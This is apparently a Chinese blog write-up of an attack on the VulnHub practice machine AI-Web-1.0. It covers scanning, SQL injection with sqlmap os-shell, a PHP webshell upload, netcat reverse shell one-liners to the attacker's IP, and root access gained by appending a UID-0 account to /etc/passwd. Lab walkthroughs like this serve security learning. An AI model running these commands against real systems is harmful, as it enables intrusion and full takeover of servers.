当前位置:网站首页>vulnhub靶机AI-Web-1.0渗透笔记
vulnhub靶机AI-Web-1.0渗透笔记
2022-07-30 22:15:00 【Jokermans】
前言:接下来一段时间应该都是会进行靶机的学习了,毕竟vulnhub的靶机挺不错的,和真实环境还是很像的
开篇
先贴一下这次靶机的下载地址:https://www.vulnhub.com/entry/ai-web-1,353/
靶机下载完之后,vmware直接打开,会显示下面这个界面。图片上显示让你登陆,但是我们并不需要登陆,就这样就可以了。
渗透过程
①:信息收集
kali里面使用netdiscover
发现主机。netdiscover
需要root命令才能启动
netdiscover 192.168.92.0/16
我们的攻击机的IP为:192.168.92.150、192.168.92.129
我们靶机的IP为:192.168.92.184
使用nmap命令扫描
nmap -sS -sV -A -n 192.168.92.184
nmap -sS //SYN扫描,使用最频繁,安全,快
nmap -sV //对端口上的服务程序版本进行扫描
nmap -A //强力扫描,耗时长
nmap -n //表示不进行dns解析
扫描之后发现只有一个80端口存活
访问80这个端口,可以看到Not even Google search my content
这句话,翻译过来大概就是谷歌都搜不到。观察了一下并没有可以利用的地方。
换个思路,开始进行目录扫描。我这里用的是dirsearch
命令:./dirsearch.py -u http://192.168.92.184/
但是我看很多大佬都是直接用kali自带的dirb,我这里也尝试一下,也挺好用的,看起来精简了一些。
访问一下/robots.txt,可以看到有两个目录。
访问一下这两个目录,两个目录都是Forbidden,拒绝服务。
接着上面的思路继续开始目录扫描
先扫描的是/m3diNf0这个目录,发现有一个info.php
访问看一下,就是phpinfo()
接着进行目录扫描,这次扫描/se3reTdir777/uploads/,不过啥也没有
去掉upload,直接扫描/se3reTdir777,这次扫描出来一个login界面
②:SQL注入
看一下这个登陆界面,登录框,肯定首先就是要测试一下SQL注入
输入'
报错了,证明这里是有SQL注入的。
抓包看一下注入点,放到sqlmap里面跑一下
POST /se3reTdir777/index.php HTTP/1.1
Host: 192.168.92.184
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Origin: http://192.168.92.184
Connection: keep-alive
Referer: http://192.168.92.184/se3reTdir777/index.php
Upgrade-Insecure-Requests: 1
uid=1&Operation=Submit
注入点就是uid=1&Operation=Submit
我这里用sqlmap先列出数据库,爆出两个数据库,aiweb1和information_schema
sqlmap -u "http://192.168.92.184/se3reTdir777/index.php/" -data "uid=1&Operation=Submit" --dbs //列出库
爆破一下表,user和systemUser
sqlmap -u "http://192.168.92.184/se3reTdir777/index.php/" -data "uid=1&Operation=Submit" -D aiweb1 --tables //列出表
sqlmap -u "http://192.168.92.184/se3reTdir777/index.php/" -data "uid=1&Operation=Submit" -D aiweb1 -T user --columns //列出字段
sqlmap -u "http://192.168.92.184/se3reTdir777/index.php/" -data "uid=1&Operation=Submit" -D aiweb1 -T user -C id --dump
爆破出来之后,基本上没有啥重要信息。
get一个新的知识点
sqlmap-os-shell
os-shell执行条件:
- 网站必须是root权限
- 网站的绝对路径已知
- GPC为off(php主动转义的功能关闭)
通过os-shell获得权限
sqlmap -u "http://192.168.92.184/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 --os-shell
首先要选择语言,选择PHP(default)
然后需要输入绝对路径
填绝对路径的话,我们可以去看之前的phpinfo(),看看绝对路径
这里绝对路径要找有写入权限的,用这个路径/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
,你也可以自己测试一下看看其他路径有没有权限,我这里就不去测试了。
这里成功获取到shell
,但是权限比较低,是www-data
③:文件上传
获取到了网站的权限,接下来就要获取到服务器的权限,通过sqlmap
上传一个php木马
首先先写一个php木马
sqlmap进行文件上传
sqlmap -u "http://192.168.92.184/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./hack.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hack.php
–file-write:去读取文件(hack.php)
–file-dest:后面加目标的绝对路径 已经生成木马的名称(hack.php)
我们可以用蚁剑测试连接一下,成功传上去之后,就可以连接成功。我这里成功连接上了。
④:反弹shell
1.先在kali
上面监听一下端口使用命令:nc -lvvp 6666
2.nc -e /bin/bash 192.168.92.129 6666
(发现-e参数不可用)
这里首先在kali上输入nc监听,然后使用nc去反向连接
-e :将传入的信息以命令执行
3.使用命令:rm /tmp/f;mkfifo/tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.92.129 6666 >/tmp/f
(回弹了shell)
首先我先一个一个来解释一下命令
rm :是一个具有破坏性的命令,因为rm命令会永久性的删除文件或目录,这就意味着,如果没有对文件或目录进行备份,一旦使用命令将其删除,将无法恢复。
这里我们使用的这个命令 rm /tmp/f
,就是删除这个目录。因为我们接下来要创建这个目录,以防万一先删除掉。
mkfifo :创建一个FIFO特殊文件,是一个命名管道(可以用来做进程之间通信的桥梁)
这里我理解为创建一个文件目录,名为/tmp/f
。
4.使用命令:python -c "import pty;pty.spawn('/bin/bash')"
(python写交互)
使用这个命令的原因:当我们拿到一个webshell的时候,我们能够执行一些命令,但是这些命令都是非交互的,也就是说不存在上下文的概念。当我们想使用vim、top等命令时,webshell就无能为力了。所以输入这个命令可以帮助我们获得一个交互式的webshell。
⑤:提权
先使用命令:find / -user root -perm -4000 -print 2>/dev/null
看一下哪些可以执行root
权限
看一下内核版本,使用命令:uname -a
,当前版本号是4.15.0-58-generic
searchsploit linux kernel 4.15.0-58-generic
搜索一下相关的内核漏洞,并没有发现可以利用的地方
可以使用添加一个root
账号进行登入提权
使用命令:openssl passwd -1 -salt hacker 123456
创建一个admin的账号
echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /etc/passwd
在Linux系统中我们要想手动生成一个密码可以采用openssl passwd
来生成一个密码作为用户账号的密码。Linux系统中的密码存放在/etc/shadow
文件中,并且是以加密的方式存放的,根据加密方式的不同,所产生的加密后的密码的位数也不同。
语法格式openssl passwd [option] passwd
openssl passwd常用的选项如下:-1
:表示采用的是MD5加密算法-salt
:指定salt值,不使用随机产生的salt
passwd提权
1.通过openssl passwd
生成一个新的用户hacker,密码为123456openssl passwd -1 -salt hacker 123456
$1$hacker$6luIRwdGpBvXdP.GMwcZp/
2.将其追加到kali的/etc/passwd
文件中
将hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /etc/passwd
3.然后切换到hacker用户
知识点补充/etc/passwd文件字段:
/etc/passwd
每行包含系统的每个用户(用户账户)的一个条目。所有字段都由冒号(:)符号分隔。共七个字段如下。通常,/etc/passwd
文件条目如下所示:
/etc/passwd格式:
从上图:
编号 | 属性 | 描述 |
---|---|---|
1 | 用户名 | 用户登录时使用,长度在1到32个字符之间。 |
2 | 密码 | x 字符表示加密的密码存储在 /etc/shadow 文件中。请注意,您需要使用 passwd 命令来计算在 CLI 中键入的密码的哈希值,或者在 /etc/shadow 文件中存储/更新密码的哈希值。 |
3 | 用户 ID (UID) | 必须为每个用户分配一个用户 ID (UID)。UID 0(零)为 root 用户保留,UID 1-99 为其他预定义帐户保留。此外,UID 100-999 由系统为管理和系统帐户/组保留。 |
4 | 组 ID (GID) | 主要组 ID(存储在 /etc/group 文件中) |
5 | 用户 ID 信息 (GECOS) | 评论字段。它允许您添加有关用户的额外信息,例如用户的全名、电话号码等。此字段由finger 命令使用。 |
6 | 主目录 | 用户登录时所在目录的绝对路径。如果此目录不存在,则用户目录变为 / |
7 | Command/shell | 命令或 shell (/bin/bash) 的绝对路径。通常,这是一个外壳。请注意,它不一定是外壳。例如,sysadmin 可以使用 nologin shell,它充当用户帐户的替换 shell。如果 shell 设置为/sbin/nologin并且用户尝试直接登录 Linux 系统,则 /sbin/nologin shell 关闭连接。 |
口令
一些系统中,存放着加密后的用户口令字。虽然这个字段存放的知识用户口令的加密串,不是明文,但是由于/etc/passswd
文件对所有用户都可读,所以这仍是一个安全隐患。因此,现在许多Linux系统(如SVR4)都使用了shadow
技术,把真正的加密后的用户口令字存放到/etc/shadow文件中,而在/etc/passwd文件的口令字段中只存放一个特殊的字符,例如“x”或者“*”
⑥:获取flag
总结
Vulnhub靶机渗透总结:
参考借鉴链接:https://blog.csdn.net/Aluxian_/article/details/124434294
新知识点:sql--os--shell
(我实战的时候试过,不过没有具体了解过)/etc/passwd
的格式需要了解,我上面也补充了
格式:用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认shell
("x"
表示此用户设有密码,但不是真正的密码,真正的密码保存在/etc/shadow
文件中允许登入的shell就是/bin/bash禁止shell登入就是/sbin/nologin)
边栏推荐
- DistSQL in-depth analysis: creating a dynamic distributed database
- MySql 5.7.38 download and installation tutorial, and realize the operation of MySql in Navicat
- @RequestBody、 @RequestParam 、 @PathVariable 和 @Vaild 注解
- 系统结构考点之并行主存
- MySQL 用户授权
- 基于ABP实现DDD--领域服务、应用服务和DTO实践
- 力扣题(2)—— 两数相加
- for...in 和 for...of 的区别
- 不用bs4的原因居然是名字太长?爬取彩票开奖信息
- 登堂入室之soc开发makefile
猜你喜欢
系统结构考点之并行主存
Detailed explanation of the delete problem of ClickHouse delete data
cnpm installation steps
cmd (command line) to operate or connect to the mysql database, and to create databases and tables
使用LVS和Keepalived搭建高可用负载均衡服务器集群
MySQL 用户授权
Learning about XML (1)
【零代码工具】15 款企业级零代码开发平台推荐,总有一款是你心仪的
Jetson AGX Orin 平台关于c240000 I2C总线和GMSL ses地址冲突问题
DistSQL 深度解析:打造动态化的分布式数据库
随机推荐
MySQL 8.0.29 设置和修改默认密码
微信公众号授权登录后报redirect_uri参数错误的问题
MYSQL JDBC图书管理系统
1064 Complete Binary Search Tree
MySQL 8.0.29 解压版安装教程(亲测有效)
Py之pdpbox:pdpbox的简介、安装、案例应用之详细攻略
MySQL Soul 16 Questions, How Many Questions Can You Last?
d违反常了吗
MySQL 游标
NEOVIM下载安装与配置
Advanced c language: pointers (5)
宁波中宁典当转让29.5%股权为283.38万元,2021年所有者权益为968.75万元
A simple rich text editor
小心你的字典和样板代码
ArrayList扩容机制分析
MySQL 5.7详细下载安装配置教程
The most powerful and most commonly used SQL statements in history
IDEA2021.2安装与配置(持续更新)
ClickHouse to create a database to create a table view dictionary SQL
【无标题】